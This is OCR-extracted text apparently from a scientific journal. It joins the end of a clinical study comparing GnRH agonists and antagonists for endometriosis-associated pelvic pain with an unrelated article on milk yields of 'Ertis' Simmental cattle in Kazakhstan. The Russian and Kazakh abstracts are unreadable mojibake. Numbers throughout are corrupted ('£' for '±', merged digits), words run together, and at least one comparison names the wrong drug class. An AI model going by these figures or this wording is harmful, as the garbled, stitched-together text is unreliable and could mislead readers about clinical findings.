patients with endometriosis-associated PP.

The above histological picture was subsequently confirmed by comparative morphometric analysis,
indicating statistically significant changes in terms of height of the glandular epithelium, diameter and
number of uterine glands detected, which characterizes the progression of endometrial atrophy in long-
term administration of aGnRh in contrast to antGnRh (table 3).

The resulting reduction in VEGF-A immunological labeling over a period ~2.7 times indicates a
general inhibition of the natural angiogenesis process in the endometrium during aGnRh treatment. The
negative staining dynamics on VEGF-A indicates the inhibition of endothelium proliferation during long-
term aGnRh administration, which undoubtedly correlates with a decreased vascular index found during
microscopic examination. The obtained data indirectly indicate the dissociation of cellular and molecular
processes of maintaining local homeostasis, including an indication of degraded recovery to the proli-
ferating stage with subsequent endometrial atrophy, morphologically manifested in its atrophy. These
changes in the histophysiology of tissues are perhaps one of the key links in the pathogenesis of adverse
and side effects accompanying the aGnRh course due to the development of drug hypoestrogeny, which
imposes significant restrictions on their long-term use in PP therapy, taking into account the proven
negative effect on endometrial function in vivo (figure 2).

Positive dynamics in the IHC response to VEGF in the course and upon completion of antiGnRh the
rapy indicates an increase, presumably, associated with the compensation of theantiGnRh pharmaco-
dynamic effect in the hypothalamic-pituitary-ovarian axis in response to a decrease in the secretion of LH
and estradiol (table 3).

In the course of morphometry, it was established that the NGF immunolabeling dynamics pattern in
patients taking aGnRh is accompanied by a gradual decrease in the absolute number of immunopositive
tissue elements. A similar IHC reaction is observed in women in the course of antiGnRh therapy, who
showed a stable moderate decrease in the number of immunopositive elements for NFG antibodies
(37.2% £ 1.9%, p<0.05) compared to the pre-treatment measurement (57.2% = 1.9%, p<0.05). A decrease
in the NGF expression level and its NTRK gene upon administration of aGnRh and antiGnRh indicates a
decrease in the density of local tissue innervation, which plays a key part in the PP resolution.

Expression of CASP3 pro-apoptotic protein increased over the course of aGnRh therapy, which
indicates an intensification of apoptosis, which is also one of the mechanisms involved in the development
of endometrial atrophy when taking aGnRh (figure 6). The opposite picture was observed in group II
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patients duringantiGnRh therapy, where CASP3 expression did not statistically change during treatment,
which indicates the absence of the proapoptotic effect of antiGnRh on the endometrial cell composition.

When assessing the relative expression of proapoptotic (BAK, BAX) and antiapoptotic (BCL-2)
genes in group I (aGnRh), it was found that, under the influence of aGnRh, there is a statistically
significant increase in the expression of proapoptotic genes and a decrease in the BCL-2 expression by
about 1,5 times, which confirms the earlierobtained IHC data on changes in the genetic pattern and
induction of apoptosis. The opposite picture is demonstrated by evalution of the expression of these genes
in group II (antiGnRh): a slight decrease in the expression of pro-apoptotic genes and a statistically
significant increase in the expression of the anti-apoptotic BCL-2 gene were found, which confirms the
supposition about the protective effect of antiGnRh on the endometrium in comparison with antiGnRh.

At the same time, the above results are not isolated, but, on the contrary, represent interrelated links
and indirectly prove the neurotrophic mechanism for the development of endometrial atrophy in the course
of proapoptotic action when taking aGnRh in PP therapy. However, the antagonist drug has the opposite
effect, being a kind of antipode of aGnRh in relation to the effect on the activity of the endometrium,
despite the suppression of estrogen secretion.Having a positive effect in the PP treatment, antiGnRh also
provides stable trophism and supports the endometrial tissue innervation apparatus, which plays a pro-
tective role in relation to the function of the entire mucous membrane of the uterus and, in aggregate,
indicates better tolerability and efficacy, all other things being equal compared to arGnRh (figure 6) (table 3).

Table 3 — Comparison of the relative expression level of the studied genes
in endometrial biopsy specimenin PP pharmacotherapy with GnRH agonists

Gene Pre-therapy, During therapy (8 weeks) At the end of therapy (18 weeks)
y.e. = SEM c.u. + SEM cu. = SEM
BAK 1.15+0.13 1.73+0.32%* 1.96+0.41%*
BAX 1.25+0.21 1.91+0.67* 2.16+0.84*
BCL-2 1.86+0.15 1.15+0.16* 1.23+0.13*
VEGFR-1 3.49+0.37 2.97+0.39* 2.14+0.17*
VEGFR-2 2.57+0.12 2.12+0.26 1.96+0.26*
NTRK1 2.87+0.25 2.17+0.18 1.12+0.12*
NGF 2.67+0.18 2.11+0.16 2.39+0.21*
c.u. — conventional units,
* — statistical differences, p<0.05.

The study revealed changes in the endometrium of patients treated with aGnRh of predominantly
atrophic nature in 68% of cases of group I (n=44). Minor are as of glands at rophy were observed in
women whowere administered antiGnRh, (6.1%+0.4%, p<0.05). The resulting decrease in immunological
VEGF-A labeling in group I (aGnRh) in the dynamics of ~ 2,7 times indicates an overall inhibition of the
natural angiogenesis process in the endometrium during aGnRhtreatment. Positive dynamics in the IHC
response to VEGF in the course and at the end of antiGnRhtherapy indicates an increase, presumably, due
to compensation of the pharmacodynamic effect of antiGnRh in the hypothalamic-pituitary-ovarian axis in
response to a decrease in LH and estradiol secretion. The number of immunopositive endometrium
elements during IHC-reaction of immunolabeling to NGF in patients taking aGnRh decreased 1,9 times in
patients receiving aGnRh, and 2,43 times during antGnRhcourse (p<0.05). The decrease in the expression
of NGF and NTRK1 during the in take of a GnRh and ant GnRh indicates a decrease in the density of
localtissue innervation, which playsakey role in the PP resolution. This picture is presumably due to the
same abnormalities in endometrial molecular cell processes developing during aGnRh administration in
the context of hypoestrogenism. The pro-apoptotic CASP3 protein expression is increased over the course
of aGnRhtherapy, which indicates apoptosis intensification. In patients of group II during antGnRh
therapy, CASP3 expression did not statistically change during treatment, which indicates the lack of
proapoptotic effect of anti-GnRG on endometrial cell composition.

It was established that under the influence of aGnRh in group I, there is a statistically significant
increase in the expression of proapoptotic genes BAKuBAX and a decrease in the expression of BCL-2,
about 1,5 times. Evaluation of the expression of these genes in group II (anti-GnRh) reveals a slight
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decrease in the expression of proapoptotic genes and a statistically significant increase in the expression of
the anti-apoptotic BCL-2 gene (p<0.05).

Findings. The problem of EGE-associated pelvic pain caused by EGE, in its relevance is still the
world’s leading position. Summarizing the results of the study, it can be concluded that the potential for
the formation of hyperalgesia in the case of EGE-associatedpain is increased innervation of the eutopic
endometrium.Currently, foreign and domestic literature proposed a number of treatment regimens for
endometriosis-associated PP, each of which has its own advantages and disadvantages. It is important to
emphasize that the necessary specialized assistance to women with EGE and the resulting PP will be most
effective with an adequate multidisciplinary approach after early elimination of other causes of PP without
long-term delay.

GnRh antagonists are more effective (p<<0.05) in correcting pelvic pain recurrence in patients who did
not receive drug therapy after surgical treatment of external genital endometriosis, compared with GnRh
agonists. In our opinion, this is due to the fact that in the pelvic pain pathogenesis in these women, the
leading role is played by activation of neurogenesis mechanisms with an increase in angiogenesis and a
decrease in apoptosis, typical of all forms of endometriosis. GnRh agonists have a pronounced inhibitory
effect on neurogenesis and neoangiogenesis accompanied by the development of atrophy of the eutopic
endometrium and iatrogenic amenorrhea. Compared to GnRh agonists, the effect of GnRh antagonists on
inhibition of neurogenesis processes is more pronounced due to predominant inhibitory effect on nerve
growth factor rather than its receptor, and the effect on apoptosis is mediated by preferential activation of
anti-apoptosis mechanisms.The absence of inhibition of neoangiogenesis mechanisms not only does not
prevent their therapeutic effect in relation to pain, but also allows preserving menstrual function in more
than half of the patients in the cohort under study. The obtained results are promising with respect to the
possible use of GnRhantagonists in patients with painful forms of endometriosis, including from the point
of view of personification of their tactics.

CONCLUSIONS

Conclusion 1:

The basis of pathogenesis of pelvicpain recurrence in patients who did not received rug the rapy after
surgical EGE treatmentis the activation of neurogenesis processes and reduction of a poptosis.This is evi-
denced by an increase in the expression of nerve growth factor - NGF (57,9+2,5 versus 35,3+2,1% + SEM
in patients with painless form p<0.05), its NTRK1 receptor gene (2,78+0,25 vs. 1,56+0,21 c.u. + SEM,
respectively, p<0.05); and a decrease in CASP3 protein expression (26,1£1,95 versus 23,1+£2,2 c.u. £ SEM,
p<0.05). At the same time, there were no statistically significant differences in the indices of angiogenesis
activity (VEGF-A expression = 28,4+1,8 in patients with painful form versus 29,5+0,8 c.u. =SEM painless
form, respectively, p>0.05).However, there are no differences in the neoangiogenesis activity indices in
comparison with the painless form (VEGF-A expression = 28,4+1,8 versus 29,5+0,8 c.u. £SEM, p>0.05).

Conclusion 2:

GnRh agonists have apronounced inhibitoryeffect on the neoangiogenes is process. Their use is
accompanied by as tatistically significant decrease in the intensity of immunolabeling reaction to VEGF
antibodies (2,6 times; from 28.94+1.3% to 11.1£0.4%, p<0.05), as well as the expression of its VEGFR-1
receptor genes (1,63 times; from 3.49+0.37 to 2.14+0.17 c.u. = SEM, p<0.05) and VEGFR-2 (2,68 times;
from 2.57+0.12 to 1.96+0.26 c.u. £ SEM, p<0.05) in the presence of pronounced endometrial atrophy
(epithelial height 19.1+1.2, gland diameter -112.3 £ 3.7um versus 13.1 + 1.7 and 91.3£3.5 pm, respec-
tively in the control group, p<0.05) and naturally following amenorrhea in 100% of patients.

On the contrary, during therapy with GnRH antagonists, neoangiogenesis is not suppressed, and there
is an increase in the intensity of the immunolabeling of antibodies to VEGF (1,2 times; from 27.8+2.2% to
33.442.6%, p<0.05) and the expression of its VEGFR-1 receptor genes (1,23 times; from 3.51 + 0.36 to
4.32 £ 0.56 c.u+SEM, p<0.05) and VEGFR-2 (1,13 times; from 2.53+£0.11 to 2.86+0.19 c.u.£SEM,
p<0.05),while 53% of patients had their menstrual cycles in the context of a minor endometrium atrophy
(epithelial height 19.4£1.5, gland diameter —119.4+3.4um versus 18.3£2,6, 118.3+14.2um in the control
group, p<0.05).

Conclusion 3:

During therapy using GnRh agonists, there is a firm decrease in the intensity of the reaction of THC-
labeling of antibodies to NGF (1,8 times; from 58.7+3.1 to 31.3£2.6%, p<0.05) NGF gene expression
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(1,12 times; from 2.67+0.18 to 2.39 £0.21c.u.+=SEM, p<0.05) and the expression of its NTRKI1 receptor
gene (2,48 times; from 2.78+0.25 to 1.12+0.12 c.u. £ SEM, p<0.05).

During antiGnRh therapy, a similar dynamics takes place - a statistically significant decrease in the
intensity of the reaction of IHC-labeling of antibodies to NGF (2,4 times; from 57.2 + 1.9 to 23.5+1.3%,
p<0.05), expression of the NGF gene (2,1 times; from 2.59+0.21 to 1.25+0.15CU£SEM, p<0.05) and ex-
pression of its receptor NTRK1 gene (1,28 times; from 2.78+0.25 to 2.17+0.22c.u.+SEM, p<0.05).
However, the effect of GnRh antagonists on the inhibition of neurogenesis processes as compared with
GnRh agonists is more pronounced due to the predominant effect on the nerve growth factor itself but not
on its receptor (intensity of the IHC-labeling response of antibodies to NGF is 23.5£1.3% versus
31.342.6%, p<0.05; expression of the NGF gene is 1.25 £0.15 c.u. £ SEM vs. 2.39 £ 0.21 cu + SEM,
p<0.05); expression of NTRK1 receptor gene is 2.17+0.22 versus 1.12+0.12c.u., = SEM, p<0.05).

Conclusion 4:

During GnRh agonists therapy, there is a firm increase in the intensity of the IHC-labeling reaction of
antibodies to CASP-3 (2,12 times; from 27.1£1.8 to 57.7£5.4%, p<0.05) and BAK gene expression (from
1.15+0.13 to 1.96+0.41 c.u£SEM, p<0.05) and BAX (1.25+0.21 to 2.16+0.84 c.u. +SEM, p<0.05), in a
decreased expression of the BCL-2 gene (from 1.86 £0.15 to 1.23+0.13 c.u.+= SEM, p<0.05).

GnRh antagonist therapy is also accompanied by a statistically significant increase in IHC-labeling of
antibodies to CASP3 (1,16 times; from 25.242.1 to 29.2+1.1%, p<0.05); however, their effect on
apoptosis is due to a predominant activation of antiapoptosis mechanisms (increased gene BCL-2 expres-
sion 1,25 times; from 1.78 + 0.21 to 2.23 £+ 0.29 c.u. £SEM (p<0.05). In this case, the expression of proa-
poptotic genes does not change (respectively, BAK - from 1.18+0.11 to 1.07+ 0.05 c.u. £SEM, p> 0.05;
BAX - from 1.214+0.13 to 1.02+0.11 c.u. +SEM, p>0.05).

Table 4 — Comparison of the relative expression level of the studied genes
in endometrial bioptic materials with pharmacotherapy with GnRh antagonists in PP

Gene Pre-therapy, | During administered therapy (8 weeks) Upon completion of therapy (18 weeks)
y.e. £ SEM c.u. £+ SEM c.u. = SEM

BAK 1.18+0.11 1.05+0.03* 1.07+0.05
BAX 1.21£0.13 1.03+0.15 1.02+0.11
BCL-2 1.78+0.21 2.19+0.38* 2.23+0.29*
VEGFR-1| 3.51+0.36 4.23+0.45* 4.32+0.56*
VEGFR-2 | 2.53+0.11 2.73+£0.11* 2.86+0.19*
NTRK1 2.78+0.25 1.89+0.11%* 2.17+£0.22%
NGF 2.59+0.21 1.84+0.16* 1.25+0.15%

c.u. — conventional units,

* — statistical differences, p<0.05.

Figure 1 — Postoperative period (6 - 12 months). Endometrium (light microscopy method, staining:
hematoxylin and eosin, magnification x 20): a — Group I (PP), b — Group II (PP), ¢ — Group III (control)
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Figure 2 — Endometrium. Group I - aGnRh course (IHC method:
antibodies to VEGF-A, counterstaining using hematoxylin, magnification x 40): a - before therapy (internal control);
b - during therapy (8 weeks); ¢ - at the end of therapy (12 weeks including monitoring)
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Figure 3 — Endometrium. Group II - antiGnRh course
(IHC method: antibodies to VEGF-A, counterstaining with hematoxylin, magnification x 40):
a - before therapy; b - during therapy (8 weeks); ¢ - at the end of therapy (12 weeks including monitoring)

Figure 4 — Endometrium. Group I - aGnRh course (IHC method: antibodies to NGF, counterstaining
with hematoxylin, magnification x 40): a - before therapy (internal control); b - during therapy (8 weeks);

>

¢ - at the end of therapy (12 weeks including monitoring)
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Figure 5 — Endometrium. Group II - anti-GnRh course
(IHC method: antibodies to NGF, counterstaining with hematoxylin, magnification x 40):
a - before therapy (internal control); b - during therapy (8 weeks); ¢ - at the end of therapy (12 weeks including monitoring).

a b c

Figure 6 — Endometrium. Groups I and II (IHC method: antibodies to caspase-3, counterstaining with hematoxylin,
magnification x 40): a - group I (aGnRh) during therapy (8 weeks); ¢ - II (antGnRh) during therapy (8 weeks), ¢ - before therapy
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AT'OHUCTBI U AHTAI'OHUCTBI TOHAJJOTPOITMH-PUJIN3NHI TOPMOHA:
BJIMSIHUE HA HEWPOAHTMOTEHE3 M ATIONITO3 B 3YTOMMMYECKOM 3HJIOMETPUA
MPUA TEPAIIMM PEIIUIABA TA30BOM BOJIM,

OBYCJIOBJEHHOM HAPYKHbBIM T'EHUTAJIGHBIM SHJIOMETPHO30M

AHHOTanMsi. DHIOMETPHO3 SIBISETCS OAHUM M3 CaMbIX PaclpOCTPAHCHHBIX I'MHEKOJOTMYECKHX 3a00eBaHUM
KOTOpoe AuarHoctupyercs moyru y 70 % mammeHTok ¢ XpoHudeckoi tazoBoii 6oipto (XTH). B To e Bpems y uer-
BEPTH JKCHIIMH C Ta30BOM OOJIBI0 BO BPEMs JIAAPOCKONIUK OOHAPYKHUBACTCSl HAPY KHBIN T€HUTAIBHBIN SHIOMETPHO3
(HI'3). Ocobyto rpymiry IpeAcTaBiaoT maueHTku ¢ Th, He KynupoBaBIeiicst Tociie yaaaeHus: YHI0OMETPHONIHBIX
ouaroB. MexaHu3Mbl natoreHesa (GOpMHpOBaHUSA OOJIEBOTO CHHIAPOMA IPH ATOM OCTAIOTCA JO KOHLA HE PACKpBI-
THIMHU. 3HAYUTEJIBHYIO POJIb, 10 MHEHHUIO PsiJia aBTOPOB, B MATOTEHE3€ PELM/IMBa Ta30BOM OOJMIIOCIIE XUPypTrUiec-
koro yiedeHuss HI'D urpaer akTUBHBIN HelpoaHTHOT€He3, KaK B HKTONMYECKOM, TaK U 3yTOINHUYECKOM SHIOMETPHH.
Aronuctsl [HPT SIBISIOTCS «30JI0TBIM CTaHIAPTOMY JIEYEHHs SHIOMETPUO03a U BHICOKOI((PEKTUBHBIM B OTHOLICHHH
Ta30BOI 00JIM, acCOMUPOBAaHHOI ¢ HUM. B psne eBponelickux crpan s nedeHus Th, odyciosnennoit HI'D, 3ape-
TUCTpUpOBaHbl aHTaroHucTsl ['HPT. IIpuHMMas Bo BHUMaHKE 10 KOHLIA HE PacKPBIThIE MEXaHU3Mbl (POPMHUPOBAHMS
Tb npu HI'D, HayuHblll UHTEpeC NPEACTABISUIO U3YUYEHHUE SKCIPECCHUM HEHpOBACKYISIPHBIX MapKepOB B JYTOINH-
YECKOM PHIOMETpUH Ha (oHe Teparmu al HPT u anTl HPT.

Ieap ucciienoBaHus — CPABHUTH BIMSHUE ATOHUCTOB U aHTaroHUCTOB ['HPT Ha HelipoaHTMOreHe3 U anonTo3 B
9YTONMYECKOM 3HIOMETPHH TAIIMEHTOK C Ta30BOH 00JbIO, HE KyNMPOBABLICHCS (PEIHUANB) MOCIE XUPYPIUIECKOTO
neuennst HI'D. Pacmmputh mpenctaBieHHe O MaTOreHe3e Ta30BOM OONMM HE KyHHPOBABIICHCA (PEUHIHNB) IIOCIHE
XHUPYPTrHUYECKOTO JIEIEHHsI HAPYKHOTO T€HUTAIILHOTO YHIOMETPHO3A.

Matepuana u Metoasnl. VccnenoBanue npeaycmarpuBaio 2 3tama. Ha I stane (anronoruyeckuit) Obutd mpo-
aHaJIM3UPOBaHBI IaHHBIE anroioruueckux onpocHukoB B&B, NRS, VRS, 3anonHeHHbIX TallMEHTKaMH C PEITUAUBOM
Tb nocine xupyprudeckoro nedenus HI'D (n=130, B Bo3pacre ot 18 no 45 ner, cpenuuit Bo3pact 32,5+7,6 rozga).
Bce sxeHIHEI ObUIH TIpoOTIEpUPOBaHsI 1o oBoay HI'D He mo3anee 3-6 mec, OHM HE MOJTyYaId MEIUKaMEHTO3HYIO
TEpaIHIO TOCe XUPYPIrHYECKOro JieueHus U oOpatuirck ¢ pemuauBoM Th. [lanuentkn OblM cTpaTuUIUPOBAHBI
rpynnsl (I rpynmna — al'wPr, Il rpynna — autl'HPr). Jleuenne npoBoannu B TeueHue 3 mec (al HPT BHyTpHMBIIIEYHO
1 pa3 B 28 mueit, anTI HPrperos 100 mr/cyt). Ha Il stame mcciemoBany AWMHAMHUKY MapKepOB HEOAHTHOTEHE3a
(VEGF), neiiporenesa (NGF) u anmonroza (CASP3) Ha (oHe nedeHNs] MMMYHOTHCTOXUMHYECKUME M MOJIEKYIISIPHO-
OuosornyecknMu MeTojamMH. Marepuansl Al MCCIEAOBaHUS SHIOMETPUS OBUTH IIONyYEHBl METOAOM acIHpa-
LIMOHHOI naiinens-onorncuu. KontponbHas rpynmna Obiia copmupoBana u3 uucina xeHumH ¢ HI'D 6e3 Th, odpa-
TUBIINECS IS XUPyprudeckoro edenus oecrumonus (n=30).

Pe3yabTaThl HccieoBaHUs IOCTAaHOBHIIM, YTO B OCHOBE IAaTOTE€HE3a PENMAMBA Ta30BOWH OOJIM y MAIHMEHTOK,
HETOJIy4aBIINX MEINKaMEHTO3HYIO TEpaIluio MOocie XUpypruiyeckoro yedeHus HI'D, nexur akTuBanus MmpoleccoB
HellpoaHrHoreHe3a M CHIKEHHE amnonTosa. IIpu 3TOM BBIBICHO CHHXEHHE MMMYHOJOTMYECKOIO0 MapKHPOBAaHUS
VEGF-A B nunamuke nedenus al HPr B 2,6 pasa, B rpymnme manueHTOK, NOIy4aBmuX aHTI HPT, HanmpoTuB, OTMe-
qanach moyioxkutenbHas quHamuka B UI'X-peaknuu Ha VEGF (p<0,05). Peaknus mMMyHOMEYeHUS HAa aHTHTENA K
NGF B I rpynne camswiace B nuHamuike siedeHus al HPr B 1,8 pas, Bo II rpymme Ha ¢one tepanuu antlHPr B
2,4 paza (p<0,05). YpoBens skcnpeccun mpoarnontorudeckoro 6enka CASP3 yBennunBancs B auHamuke B 2,1 pasa
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Ha ¢oHe Teparnuu al HPT, 4TO0 cBHUAETENbCTBYET 00 MHTeHCcH(prKanuu amonrto3a (p<0,05). Y mamuentox II rpymmsr Ha
tone Teparmu anTl HPT, sKcnpeccus CASP3 3a BpeMs IleueHUs CTAaTHCTUYECKH HE M3MEHMIIIACh, YTO YKa3hIBaeT Ha
OTCyTCTBHUE Mpoanontorudeckoro Biuusane antl HPI' Ha xireTounHslit coctaB sHIOMeTpus (p>0,05).

3aknouyenue. Antaronuctsl [ HPr oOecnieunBaroT cTabmiupHY0 Tpouky sHIOMeTpHus Ha (oHe nedennus Th
npu HI'D, obycnaBiuBas UX JIydnIyro HEPEeHOCHMOCTS, a Takke 3 (HEeKTUBHOCT.

KaroueBble cjioBa: HeilpoaHrHOTeHe3, Ta3oBasi 0O0Jb, SHAOMETPHO3, ATlONTO3, arOHUCTHI I HPT, aHTaroHUCTHI
I'uPr.
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RESULTS OF THE TARGETED SELECTIVE
AND BREEDING WORK OF THE SIMMENTAL
RED-AND-MOTLEY BREED OF DAIRY CATTLE

Abstract. The article presents the characteristics of selective-breeding work with the "Ertis" red-and-motley
cattle of the Simmental breed created by scientists of the KazSRIAB&FP LLP, on the basis of improving the
Simmental breed of cattle in the direction of raising dairy productivity using the gene pool of imported servicing
bulls.

The aim was to summarize the results of targeted selective and breeding work for the period after approbation
of animals of the new "Ertis" red-and-motley dairy type of cattle of the Simmental breed by the example of the herd
of Kirov LLP, as well as the current state of their productivity.

The average indices of productivity of the main selection traits were taken into account, such as milk yield for
305 days of lactation, fat and protein percentage, live weight, and also their average duration of productive use.
Where the percentage of fat and protein was determined by modern devices on the analyzers of the integrated milk
quality system (Milkoscan FT+, Fossomatic FT+) and statistical data were processed according to standard methods.

As a result, for the period 2009 - 2016, a significant increase in the productivity of cows was achieved, the
average milk yield for 305 days in lactation in the herd was increased by 2089 kg or 54.4% (from 3829+42.3 to
5928+27.8).

According to the last completed lactation, the average milk yield per cow for 305 days by the first lactation was
5040.1+65.16 kg of milk (n=108), by the second - 5814.1+49.66 kg (n=385), by the third and older lactation
6269.7+37.76 kg (n=410).

The average duration of productive use of cows was 2.8 lactations (lim 1-9), of which the third and older
lactations were 45.4%.

Thus, the targeted selective and breeding work to improve the productive qualities of the "Ertis" red-and-motley
type of cattle of the Simmental breed in the Kirova LLP is quite profitable and acceptable for further breeding and its
selection preservation.

Keywords: breed, intra-breed type, cow, milk, lactation, gene pool, productive longevity, selection.

Introduction. Currently, one of the main methods of improving low-productive breeds of dairy cattle
is the use of the gene pool of foreign high-yielding livestock breeds. One of the key tasks should be the
creation of genotypes of dairy cattle, which combines the high dairy productivity of the world's breeding
achievements with the preservation of the adaptive potential of the gene pool of domestic breeds.

With the aim of qualitative transformation of the Simmental breed of cattle in the direction of
increasing the dairy productivity and improving the morphofunctional properties of the udder, in the
breeding zone of the breed since 1986, under the scientific supervision of the researchers of
KazSRIAB&FP LLP, large-scale works on the use of imported servicing bulls of the intensive dairy
breeds: Montbeliarde, Holstein red-and-motley, German red-and-motley and Ayrshire.

As a result of many years of work, by the efforts of scientists and practitioners, in 2009 a new intra-
breed "Ertis" red-and-motley dairy type of Simmental breed was created and tested. According to the data
of the researchers [1-3], during the approbation of the "Ertis" red-and-motley cattle, in contrast to
Simmental animals, it exceeds the milk yield, on average for all lactations by 1500 kg, or 73% by the first
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lactation, 57 % - by the second, for 46% - by the third and older. In comparison with the original gene
pool of the mother breed (56th volume of the SSB of Simmental breed), this superiority is 95%, or more
than 100 kg of milk per lactation. As for live weight and fat content in milk, cows conform to the
Simmental breed standard; the indicators of development of young animals in all age periods are also at
the level of the standard of the breed or exceed it.

A positive shift is also achieved in the selective improvement of the morphofunctional properties of
the udder, its suitability for machine milking. More than 2/3 of the cow population of the created dairy
type have a bath- and cup-shaped udder, which is 1.7 times larger than in the original Simmental breed.
More than 30% increased the intensity of milk yield and at present is 1.42 kg/min.

The main array of the created population is represented by animals of strong and solid constitution,
with a sufficient broad and deep chest, a harmonious physique close to the dairy type. The colour is
predominantly red and mottled. The adaptability to long-term maintenance in the arid dry-steppe zone is
preserved.

The aim of the work was to summarize the results of targeted selective and breeding work for the
period after approbation of animals of the new "Ertis" red-and-motley dairy type of cattle of the
Simmental breed on the example of the herd from Kirova LLP.

Object and methodology. Scientific research was conducted in Kirova LLP in the Pavlodar region
on the breeding herd of the "Ertis" red-and-motley type of cattle of the Simmental breed. The documents
of primary zootechnical and pedigree records served for the analysis of productivity.

The milk yield was determined by monthly control milk yield with conversion to 305 days of lac-
tation, the fat and protein content in milk was determined by modern devices on the analyzers of the
integrated milk quality system (FOSS electric, Denmark).

The class composition of cows was identified in the course of livestock judgement during the year
according to the instructions for the bonitation of dairy and dairy-meat cattle [4].

Analysis of the traits of cows for dairy productivity and the duration of productive longevity were
processed by methods of variation statistics using the MS Excel computer program [5].

Results of the research. In consequence of targeted selective and breeding work with the Kirova
LLP herd, a significant increase in the productivity of cows was achieved in 8 years after the approbation
of the "Ertis" new red-and-motley dairy cattle type of Simmental breed (table 1).

Table 1 — Growth dynamics of average milk yield of cows in the herd

# Years Number of cows, Average milk yield per cow, Difference by years
heads kg kg %

1 2009 572 3839+423

2 2010 898 3825+33,1 -14 -04

3 2011 763 4003 + 37,5 +178 +4.8

4 2012 532 4046 + 35,1 +43 +1.2

5 2013 459 4570 + 38,8 +524 +12.9

6 2014 618 4924 + 51,5 +342 +7.7

7 2015 797 5234 + 56,6 +310 +6.3

8 2016 903 5928 £27,8 + 694 +13.3

Thus, the average milk yield for 305 days in lactation in the herd increased by 2089 kg or 54.4%
(from 3829+42.3 to 5928+27.8). However, it should be noted that the dynamics of increasing the milk
yield of cows from year to year have been uneven. This is due to the natural and climatic conditions of
certain years and maintenance conditions since the main milk yield is obtained in the summer pasture
period.

The modern herd of Kirova LLP by average milk yield per cow exceeds the average indicator for
Pavlodar oblast by 3274 kg or 128.6% of milk (5828 - 2554 kg) (table 2).

According to the last completed lactation, the average milk yield per cow for 305 days was
5040.1+65.16 kg of milk (n=108) by the first lactation. By the second lactation it was 5814.1+49.66 kg
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Table 2 — The modern characteristics of cow productivity in the context of lactation

Milk yield for 305

. L actation petiod N days of lactation, kg Fat, % Protein, % Live weight, kg
X+m Cv X+m Cv X+m Cv X+m Cv

1 | I lactation 108 | 5040.1 £65.16 | 13.4 | 3.92+0.01 | 2.3 | 3.31+£0.00 | 1.1 [431.9+1.88| 4.5

2 | 2 lactation 385 | 5814.1£49.66 | 16.8 | 3.93+0.00 | 2.2 | 3.32+0.00 | 1.4 | 4752+1.40| 5.8

3 | 3 lactation and older 410 | 6269.7+37.76 | 12.2 | 3.94+0.00 | 2.5 | 326+0.01 | 3.4 |571.9+143 | 5.1

4 | Total: 903 | 5928.4+90.10 | 15.8 | 3.93+0.01 | 2.4 | 3.29+0.01 | 2.6 | 514.0+5.87 | 11.9

(n=385), by the third and older ones - 6269.7+£37.76 kg (n=410), the fat content of milk, according to
lactations respectively: 3.92%; 3.93%, 3.94%, protein content - 3.31%; 3.32%; 3.26%, live weight -
431.9+1.88; 475.2+1.4; 571.9+1.43 kg.

Of the total cow population of the herd, 77 animals were selected for breeding group according to the
exteriors and productive qualities, their average yield was 7787.7+£25.15 kg, fat in milk - 3.96+0.01%,
protein 3.219+0.01 % and live weight - 524.1+5.85 kg.

The main indicator of animal adaptation to local conditions of maintenance and feeding is the
duration of the productive longevity of cows. The process of intensification of dairy cattle breeding is
accompanied by a significant reduction in the period of economic use of cows. According to many
researchers in Canada, the USA, Russia, the productive use of cows does not exceed 2-3 lactations [6-9].

The average duration of productive use of cows in the herd of Kirova LLP was 2.8 lactations (lim 1-9),
while the number of animals of the 3rd and older lactation was 45.4% (table 3).

Table 3 — Average duration of productive use of cows

) Milk yield for 305 days, kg Fat, % Protein, % Live weight, kg

# Lactation n

X+m Cv X+m Cv X+m Cv X+m Cv
1 ™ 108 5040.1 + 65.16 134 3.92+£0.01 2.3 3.31£0.00 1.1 431.9+1.88 4.5
2 2nd 385 5814.1 +49.66 16.8 3.93 +£0.00 2.2 3.32+0.00 1.4 475.2 £1.40 5.8
3 31 184 6244.8 + 61.28 13.3 3.94+£0.01 2.6 3.31+£0.00 1.8 568.5+2.33 5.6
4 4th 159 6326.6 +53.97 10.8 3.94£0.01 2.7 3.23£0.01 4.1 576.9 +2.06 4.5
5 5th 19 6366.4 £ 175.62 12.0 3.92+£0.02 2.7 3.24 £0.03 35 572.9+6.23 4.7
6 6th 24 6227.9 + 161.07 12.7 3.93 +£0.02 1.9 3.18 £0.03 4.1 562.5+5.41 4.7
7 7th 8 5918.5+185.33 8.9 3.96 + 0.04 2.7 3.16 £ 0.04 34 570.0 = 8.24 4.1
8 8th 15 6170.5+214.97 14.7 3.94 £0.02 1.7 3.24 £0.03 33 578.0 +7.63 5.1
9 9th 1 5276.0 3.89 3.20 560.00

From the analysis of the studied cows of the herd, it was established that full-grown cows (3rd
lactation and older) show the greatest productivity - 6269.7+37.76 kg in the range of 5276-6326 kg.

In the age aspect, the fat and protein content in milk is not significantly different. The live weight
showed an increase with age of the animals from 431.9 to 570.0 kg.

Thus, from the obtained data it follows that the targeted selective-breeding work to improve the
productive qualities of the "Ertis" red-and-motley cattle of the Simmental breed is quite profitable.

Duration of productive use of cows of the herd of the Kirova LLP is acceptable for further breeding
and its selection conservation.
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K MaJI II IIBIIBIFBI XKOHE M BIFBl OHIPICi FBUIBIMU-3€PTTEY HHCTUTYTHI JIMATEI KCTaH,
"Kazak mau mapya OHE Mall a3 5 ici 3epTTe C " JKIIC, Anmartsl, Kazakcra
2" OHTYCTIK-6aThIC MaJl IAPYALIBLTBIFb] XKOHE OCIMIIK IIAPYalIbUIBFb FRUIBIMU-3¢pTTeY HHCTHTYTHI" JKIIIC,
[IsiMkenT, Kazakcran

CUMMEHTAJI TYKBIMbI CYTTI MAJIbI KbI3bIJI-AJIA TYPIHIH
MAKCATTBI CEJEKHUAJBIK-ACBUITAHABIPY )KYMBICBIHBIH HOTH/KEJIEPI

AnHoTtanusi. Makanajga cuMMEHTal ipi Kapa MajJ TYKbIMBIH JKaKcapTy MakcaTbhlHAa CYT OHIMAUIIrIH KeTepy
YIIiH, TIETeNIIK eHIipimi-OyKanapasiH reHoGoHasH Konany apkbuibl "KasMIILxOKIIOF3U" KIIC ransimuaa-
PBIHBIH FBUIBIMU JKETEKIIUTINMEH KYPBbUIFaH CHMMEHTANI TYKBIMBIHBIH "EpTic" KpI3bul-ajla TYpiHIH MangapbIMEH
CEJIEKIUSUITBIK-aChUT TYKBIMIIBIK KYMBICTapPhI KYPTi3UITeHAIr JKallbl cunartama OepiireH.

